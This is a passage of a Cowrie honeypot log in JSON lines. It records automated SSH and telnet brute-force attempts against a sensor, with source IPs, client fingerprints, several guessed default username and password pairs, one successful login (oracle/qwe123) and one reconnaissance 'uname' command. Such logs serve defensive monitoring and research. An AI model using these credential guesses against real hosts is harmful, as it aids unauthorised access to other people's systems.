ha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:57.422241Z","src_ip":"192.109.200.237","session":"cbb43ef951e9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:57.668475Z","src_ip":"192.109.200.237","session":"cbb43ef951e9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:57.886099Z","src_ip":"192.109.200.237","session":"cbb43ef951e9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:57.889926Z","src_ip":"192.109.200.237","session":"cbb43ef951e9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:57.976095Z","src_ip":"192.109.200.237","session":"cbb43ef951e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:57.981375Z","src_ip":"192.109.200.237","session":"cbb43ef951e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41412,"dst_ip":"159.203.135.109","dst_port":22,"session":"18529f5a3b27","protocol":"ssh","message":"New connection: 192.109.200.237:41412 (159.203.135.109:22) [session: 18529f5a3b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:00.789957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:00.794745Z","src_ip":"192.109.200.237","session":"18529f5a3b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:00.877275Z","src_ip":"192.109.200.237","session":"18529f5a3b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:01.124955Z","src_ip":"192.109.200.237","session":"18529f5a3b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:02.214756Z","src_ip":"192.109.200.237","session":"18529f5a3b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":35662,"dst_ip":"10.17.0.5","dst_port":22,"session":"9740d818c0c9","protocol":"ssh","message":"New connection: 194.113.233.25:35662 (10.17.0.5:22) [session: 9740d818c0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:03.659084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:03.664377Z","src_ip":"194.113.233.25","session":"9740d818c0c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:03.761545Z","src_ip":"194.113.233.25","session":"9740d818c0c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yamaha","message":"login attempt [root/yamaha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:04.153606Z","src_ip":"194.113.233.25","session":"9740d818c0c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41430,"dst_ip":"159.203.135.109","dst_port":22,"session":"83f9f984d613","protocol":"ssh","message":"New connection: 192.109.200.237:41430 (159.203.135.109:22) [session: 83f9f984d613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:04.602059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:04.606640Z","src_ip":"192.109.200.237","session":"83f9f984d613","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:04.688991Z","src_ip":"192.109.200.237","session":"83f9f984d613","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:04.942562Z","src_ip":"192.109.200.237","session":"83f9f984d613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:05.248381Z","src_ip":"194.113.233.25","session":"9740d818c0c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:06.028244Z","src_ip":"192.109.200.237","session":"83f9f984d613","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41452,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f372a38de33","protocol":"ssh","message":"New connection: 192.109.200.237:41452 (159.203.135.109:22) [session: 5f372a38de33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:08.123964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:08.129052Z","src_ip":"192.109.200.237","session":"5f372a38de33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:08.216167Z","src_ip":"192.109.200.237","session":"5f372a38de33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:08.464301Z","src_ip":"192.109.200.237","session":"5f372a38de33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.656702280044556,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:08.774444Z","src_ip":"50.6.8.71","session":"510f6135a385","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:09.550418Z","src_ip":"192.109.200.237","session":"5f372a38de33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48432,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7a67054ff9c","protocol":"ssh","message":"New connection: 192.109.200.237:48432 (159.203.135.109:22) [session: c7a67054ff9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:11.786814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:11.790689Z","src_ip":"192.109.200.237","session":"c7a67054ff9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:11.872518Z","src_ip":"192.109.200.237","session":"c7a67054ff9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:12.235669Z","src_ip":"192.109.200.237","session":"c7a67054ff9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:13.320429Z","src_ip":"192.109.200.237","session":"c7a67054ff9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48444,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ee3679108a6","protocol":"ssh","message":"New connection: 192.109.200.237:48444 (159.203.135.109:22) [session: 9ee3679108a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:15.281934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:15.291161Z","src_ip":"192.109.200.237","session":"9ee3679108a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:15.373574Z","src_ip":"192.109.200.237","session":"9ee3679108a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:15.621860Z","src_ip":"192.109.200.237","session":"9ee3679108a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":41212,"dst_ip":"159.203.135.109","dst_port":22,"session":"9df392da79d0","protocol":"ssh","message":"New connection: 87.251.79.125:41212 (159.203.135.109:22) [session: 9df392da79d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:16.293877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:16.299030Z","src_ip":"87.251.79.125","session":"9df392da79d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:16.372471Z","src_ip":"87.251.79.125","session":"9df392da79d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.04014587402344,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:16.446244Z","src_ip":"50.6.8.71","session":"c85ab947e2f7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:16.593824Z","src_ip":"87.251.79.125","session":"9df392da79d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:16.764395Z","src_ip":"192.109.200.237","session":"9ee3679108a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.588836669921875,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:17.275935Z","src_ip":"50.6.8.71","session":"b21c0d096210","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:17.669105Z","src_ip":"87.251.79.125","session":"9df392da79d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48452,"dst_ip":"159.203.135.109","dst_port":22,"session":"11f9ce5e0886","protocol":"ssh","message":"New connection: 192.109.200.237:48452 (159.203.135.109:22) [session: 11f9ce5e0886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:18.897474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:18.907870Z","src_ip":"192.109.200.237","session":"11f9ce5e0886","protocol":"ssh"}
